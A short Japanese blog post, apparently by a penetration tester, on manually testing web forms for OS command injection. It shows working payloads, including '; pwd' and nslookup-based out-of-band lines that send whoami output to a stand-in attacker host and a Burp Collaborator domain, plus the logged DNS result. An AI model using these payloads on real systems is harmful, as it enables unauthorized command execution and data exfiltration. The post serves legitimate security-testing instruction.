Hello there, ('ω')ノ
脆弱性診断サービスを行っている企業は増えてきており。
ただ、ツール任せといった企業も少なくはなくて。
どうしてもツール任せでアクティブスキャンなんてすると。
データベースがグチャグチャになったりして。
これがまた本番環境しかなかったら迷惑をかけたりと。
お客さんの本音としては嫌だったりして。
では、手動でコマンドインジェクションの診断を実施するためには。
まずは、動作確認をしてから。
画面の入力エリアベースにペイロードを仕掛けてみて。
リクエストを確認するとブラウザサイドでパラメータはエンコードされていて。
127.0.0.1%3B+pwd
たとえば、下記のような画面についても診断を行うことになるので。
入力エリアだけでなくプルダウンも。
なので、ローカルプロキシをつかってパラメータを入力する方法は必須かと。
さらには、診断をする際にはペイロードが必要となって。
WEB上を検索するとGitHubにかなり揃っていて活用するのも手かと。
気をつけておきたいのが、そのまま使用しても機能しない場合があって。
スペース等のエンコードの変換が必要だったりと。
単純にすべてをエンコードしても意味がわかっていないと正常に確認できなくて。
さらにはダブルエンコードやトリプルエンコードでバイパスする必要もあって。
ip=192.168.0.172;+pwd&submit=submit
さらには下記のサイトを見ると。
https://blog.cobalt.io/a-pentesters-guide-to-command-injection-df2657c8c1ad
下記のようなペイロードがあって。
ペイロードをするにはサーバが必要で。
& nslookup `whoami`.attacker-server.com &
そのようなときは、Burpのコラボレータが役に立って。
下記のようにコラボレータのURLに書き換えてペイロードを追加して。
ip=127.0.0.1&+nslookup+`whoami`.a3evywnd6hvh8osujxxuy2lutlzbn0.burpcollaborator.net&&submit=submit
ただ、単純にペイロードを追加しただけではうまくいかないことも。
なので、意味を理解しておく必要があって。
下記のように一部を変更して実行すると。
ip=127.0.0.1|+nslookup+`whoami`.a3evywnd6hvh8osujxxuy2lutlzbn0.burpcollaborator.net&submit=submit
ドメインへのDNSルックアップ(whoami結果を含む)があったことがわかって。
The lookup was received from IP address 157.65.26.10 at 2021-Apr-01 10:57:16 UTC.
ちなみに下記のコラボレータのサーバを検索すると。
www-data.a3evywnd6hvh8osujxxuy2lutlzbn0.burpcollaborator.net
そして、DNSサーバのアドレスは下記のとおりで。
157.65.26.10#53
Best regards, (^^ゞ